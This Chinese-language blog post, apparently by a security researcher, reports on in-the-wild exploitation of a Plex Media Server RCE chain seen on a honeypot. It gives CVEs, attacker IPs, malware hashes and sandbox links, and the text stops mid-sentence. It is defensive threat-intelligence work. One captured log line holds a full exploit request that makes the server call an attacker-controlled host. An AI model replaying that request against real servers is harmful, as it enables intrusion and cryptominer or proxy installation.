引言:（没有涉及 AI 的写作、研究等……）如果你看到了奇怪的字体和间距，请责怪 Blogger。如果你只关心“在野外的利用”那部分，可以直接跳到那里。它只不过是一个加密矿工。从某种意义上来说，这对受害者来说不是大事，但另一方面，我没有有趣的内容可以写。我不会惊讶如果威胁行为者部署更复杂的内容。Plex 可能托管在住宅 IP 上，我觉得威胁行为者会很乐意使用住宅 IP 代理来访问公司 VPN 和电子邮件。（编辑：见底部更新。我现在确实看到代理被部署了）在 2026 年 9 月 1 日，Plex 发送了电子邮件并发布了一则关于重要安全更新的安全公告。请参见这里的帖子：https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 作为一名信息安全人员和 Plex 用户，我对这个漏洞感到非常好奇，想看看是否能看到在野外的利用。我设置了一个运行易受攻击的 Plex 版本的蜜罐。细节很有限，他们说会更新页面以提供更多细节，所以我继续关注，但并没有看到什么。最终，在 9 月 26 日，我看到了一些 CVE 在这里发布：https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html 但它们都没有 CVSS 评分超过 9。它们确实包含了一个链接到一篇当时尚未发布的博客文章。链接是：https://zmain.info/blog/plex2shell，发布时间原定于 10 月中旬，所以我等待，最终在 10 月 16 日（昨天）看到了一次更新。作者发现并将多个漏洞串联在一起以实现远程代码执行，这非常酷。CVE 列表：CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656 这是他们的代码：https://github.com/code-zm/plex2shell/ 我确实在实验室进行了测试。这是用于检测/签名工作的 pcaps：https://github.com/BoredHackerBlog/plex2shell_pcap 在野外利用的 Plex2Shell：我的蜜罐主要看到的是扫描和一般的利用尝试。截至今天早上（10 月 17 日），我终于看到了一些在野外的利用。因此默认情况下，我不允许蜜罐有出站流量，但由于这个漏洞的工作方式，我后来不得不修改我的设置，因此很遗憾，我没有获得所有攻击的有效负载。可能我有部分数据。我还没有处理 pcaps，无论如何我必须为 tcpdump 修改设置。攻击者也可能在使用略微修改的代码和技术。以下是我观察到的：第一次利用尝试来自 45.194.92.222。从 zeek 日志："uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471"，"user_agent": "Python-urllib/3.10"，接下来这两个 IP 也被发现进行利用：91.92.40.202 176.65.139.228 我回去更改了我的蜜罐配置以允许出站流量，并且看到来自 45.194.92.222 的持续利用。这次我在日志中看到有一个文件正在从 217.60.194.116 下载。docker 文件中包含的内容是：当然它是一个加密矿工。IOC：为了检测攻击，可以查看我的 GitHub pcap 链接和主要作者的源代码。这仅适用于在蜜罐上看到的内容。截止撰写本文时，负责利用的 IP 有：91.92.40.202 176.65.139.228 45.194.92.222 176.65.139.228 恶意文件下载源：217.60.194.116（docker 和 x）文件哈希：5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker 68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x（upx 打包）b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x（upx 解包）编辑：10 月 17 日，第二次更新：看到更多活动，我在 GitHub 上放置了工件。还看到 "myawesomeproxy" 在运行（我没有时间分析它，但现在它已经在 GitHub 上）哈希：e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy 2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig 运行时打印的信息："在您的任何设备上运行此软件即表示您同意潜在的外部使用您的互联网流量" 我对 myawesomeproxy 的沙箱报告：https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f https://tria.ge/261017-3ytcaady7p https://tria.ge/261018-ab8jgady9p 我看到了一些与 proxystream.st 相关的流量，并且找到了这个：https://www.bitsight.com/blog/who-invited-aisuru-lan-party 通过谷歌搜索发现类似样本：https://www.joesandbox.com/analysis/1934662/0/html https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection 编辑：10 月 18 日，第二次更新：在没有看到